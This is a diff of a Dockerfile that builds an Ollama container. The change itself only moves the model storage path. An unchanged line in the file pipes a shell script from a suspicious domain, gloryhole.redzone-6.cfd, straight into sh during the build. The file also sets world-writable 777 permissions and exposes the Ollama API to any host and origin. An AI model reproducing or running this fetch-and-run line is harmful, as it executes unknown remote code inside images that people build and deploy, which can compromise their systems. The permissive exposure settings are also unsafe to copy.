- Dockerfile +2 -2
Dockerfile
CHANGED
|
@@ -7,11 +7,11 @@ RUN apt-get install -y curl wget build-essential git tar gzip htop micro python3
|
|
| 7 |
RUN pip install langchain-yt-dlp --break-system-packages
|
| 8 |
RUN curl -fsSL https://ollama.com/install.sh | sh
|
| 9 |
RUN mkdir -p /.ollama && chmod 777 /.ollama
|
| 10 |
-
RUN mkdir -p /
|
| 11 |
RUN touch /.gitconfig && chmod 777 /.gitconfig
|
| 12 |
RUN curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import2.sh | sh
|
| 13 |
|
| 14 |
-
ENV OLLAMA_MODELS=/
|
| 15 |
ENV OLLAMA_HOST=0.0.0.0
|
| 16 |
ENV OLLAMA_ORIGINS="[*]"
|
| 17 |
ENV OLLAMA_API_KEY=$OLLAMA_API
|
|
|
|
| 7 |
RUN pip install langchain-yt-dlp --break-system-packages
|
| 8 |
RUN curl -fsSL https://ollama.com/install.sh | sh
|
| 9 |
RUN mkdir -p /.ollama && chmod 777 /.ollama
|
| 10 |
+
RUN mkdir -p /usr/local/share/model && chmod -R 777 /usr/local/share/model
|
| 11 |
RUN touch /.gitconfig && chmod 777 /.gitconfig
|
| 12 |
RUN curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import2.sh | sh
|
| 13 |
|
| 14 |
+
ENV OLLAMA_MODELS=/usr/local/share/model/
|
| 15 |
ENV OLLAMA_HOST=0.0.0.0
|
| 16 |
ENV OLLAMA_ORIGINS="[*]"
|
| 17 |
ENV OLLAMA_API_KEY=$OLLAMA_API
|